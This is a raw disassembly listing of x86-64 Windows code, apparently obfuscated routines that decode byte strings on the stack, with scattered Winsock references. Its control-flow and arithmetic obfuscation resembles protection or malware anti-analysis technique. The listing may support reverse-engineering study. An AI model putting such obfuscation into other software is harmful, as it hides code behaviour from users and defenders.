nop dword [rax]
cmp rbx, r10
ja 0x14008552a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140084a90
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x63
jmp 0x140084ad7
je 0x1400854b9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085431
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400853ff
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400853de
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400853ba
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140085373
cmp r8, r10
ja 0x14008551e
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140084b08
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
jmp 0x140084b50
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140085354
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140085339
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008531e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085303
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400852d6
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140084fbe
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084f9b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140084f77
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140084f56
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084f33
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140084f14
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140084ef9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140084ede
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140084ead
lea rbx, [r8 + 0x10]
lea r8, [rbx + 3]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140085501
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400854e4
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140084ce5
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140084cca
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140084caf
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140084e61
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140084de9
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140084db8
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140084d99
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140084d7e
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140084d63
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140084d44
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140084d21
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140084d00
lea rbx, [r8 + 1]
lea r8, [rbx + 0x400]
jmp 0x140084b60
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x140084b50
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
jmp 0x140084ad7
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
jmp 0x140084a56
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x140084a43
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140085293
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085415
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x140085418
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14008544a
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085472
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
cmp rbx, 0x1000
jae 0x14008526d
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140085145
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 3
jb 0x14008525d
movzx r11d, r10b
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008538d
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x1400852ba
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140085074
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
jmp 0x140084dff
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008544a
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140085418
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085415
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085293
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x140084a43
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140084a43
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008538d
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140084fe6
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
jmp 0x140084e77
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085020
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008504c
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008544a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084e77
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x140085415
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400850a0
movzx r11d, r10b
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
jmp 0x14008538d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400850ce
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
dec r10
inc r10
jmp 0x140084a43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400850fa
movzx r11d, r10b
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x51
jmp 0x140085293
cmp rbx, rcx
jne 0x14008511e
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
jmp 0x140085415
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140084dff
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x14008544a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008517f
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400851a7
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x140085472
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400851d3
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085418
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400851ff
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085415
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008522d
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140084a43
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140084e33
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008538d
mov byte [rbp + r10 + 0x380], dil
inc r10
jmp 0x140084a43
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x380]
sub dil, al
sub dil, 0x38
add dil, r9b
add dil, dl
sub r11b, 0x33
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x65
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x380], r11b
jmp 0x140085415
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008544a
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
jmp 0x14008544a
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
jmp 0x140085418
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x140085415
movzx r11d, r10b
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1b
jmp 0x14008538d
movzx r11d, r10b
lea ecx, [r11 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
add r11b, 0x43
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x2b
add r9b, r11b
mov byte [rbp + r10 + 0x380], r9b
inc r8
dec r10
inc r10
jmp 0x140084a43
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
inc r8
dec r10
inc r10
jmp 0x140084a43
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
dec r10
inc r10
jmp 0x140084a43
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140084a43
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x61
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x380], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x380], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x29
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140084a43
add r10b, 0x59
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6f
jmp 0x140084a40
sub r10b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x57
jmp 0x140084a30
lea rcx, [rbp + 0x14e9fdc]
jmp 0x14008553d
lea rcx, [rbp + 0xe032a1]
jmp 0x14008553d
lea rcx, [rbp + 0x380]
lea rdx, [0x1401eb1bd]
call fcn.140039930
mov byte [rbp + 0x3a0], WSAStartup
mov byte [rbp + 0x3a1], 0x57
mov byte [rbp + 0x3a2], 0x5b
mov byte [rbp + 0x3a3], 0x59
mov byte [rbp + 0x3a4], 0x56
mov byte [rbp + 0x3a5], 0x5a
mov byte [rbp + 0x3a6], 0x9c
mov byte [rbp + 0x3a7], 0x46
mov byte [rbp + 0x3a8], 0x59
mov byte [rbp + 0x3a9], 0x42
mov byte [rbp + 0x3aa], 0x30
mov byte [rbp + 0x3ab], 0x32
mov byte [rbp + 0x3ac], 0x4c
mov byte [rbp + 0x3ad], 0xa5
xor eax, eax
mov qword [rbp + 0x3ae], rax
mov byte [rbp + 0x3b6], al
movabs rsi, 0x7cd2549eda8a2267
movabs r14, 0x7676fddc8f9e6735
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x17
jae 0x14008617f
movzx r9d, byte [rbp + r10 + 0x3a0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140086173
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140085633
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2f
jmp 0x140085660
je 0x140086102
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400860cf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400860ad
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140086062
cmp r8, r10
ja 0x140086167
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14008568e
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
jmp 0x1400856d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140086042
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140086020
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140086004
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140085f74
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085f58
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140085bcd
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140085baa
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140085b86
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085b65
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140085b42
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085b27
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140085b08
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140085ae5
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008614a
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008612d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008589e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140085883
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140085868
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140085a9c
lea rcx, [r8 + 0x10]
cmp rbx, rcx
jb 0x140085a53
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140085a13
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400859ed
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400856e0
mov rbx, rcx
lea r8, [rcx + 9]
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x1400859c0
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400859a1
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140085982
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140085963
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140085944
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140085925
lea rcx, [r8 + 0x400]
cmp rbx, rcx
ja 0x140085900
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400858d8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400858b9
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400856e0
mov rbx, rcx
lea r8, [rcx + 0x200]
jmp 0x1400856e0
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x1400856d0
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
jmp 0x140085660
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
jmp 0x1400855f9
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx r11d, r10b
jmp 0x140086080
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400855e6
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
movzx r11d, r10b
jmp 0x140085f15
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400860e6
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400860e9
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx r11d, r10b
jmp 0x140085f92
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085fbf
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
mov byte [rbp + r10 + 0x3a0], dil
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
cmp r8, 6
jb 0x140085a03
movzx r11d, r10b
lea edx, [r11 + 0xa]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140086080
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
cmp rbx, 0x7a
jae 0x140085ef3
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140085e02
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085a29
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
lea rax, [r8 + rbx]
cmp rax, 4
je 0x140085f3e
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140085d16
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
jmp 0x140085a69
movzx r11d, r10b
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085f92
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400860e9
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x1400860e6
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085f15
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
dec r10
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x1400855e6
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086080
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140085bf5
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
jmp 0x140085ab2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085c2f
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085c5b
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085fbf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085c87
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400860e6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140085cb5
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x1400855e6
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140085cea
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400855e6
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140085ab2
movzx r11d, r10b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140086080
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085d42
movzx r11d, r10b
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x140086080
cmp rbx, rcx
jne 0x140085d6f
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
inc r8
dec r10
inc r10
jmp 0x1400855e6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085d9b
movzx r11d, r10b
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
jmp 0x140085f15
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085dc7
movzx r11d, r10b
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
jmp 0x140085f92
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140085a69
lea ecx, [r10 - 0x37]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7f
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085e40
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085e6d
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140085f8f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085e97
movzx r11d, r10b
lea edx, [r11 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140085f12
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085ec6
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400855e6
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140085a29
movzx r11d, r10b
lea edx, [r11 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008607d
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x3a0]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x3f
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x47
add cl, r9b
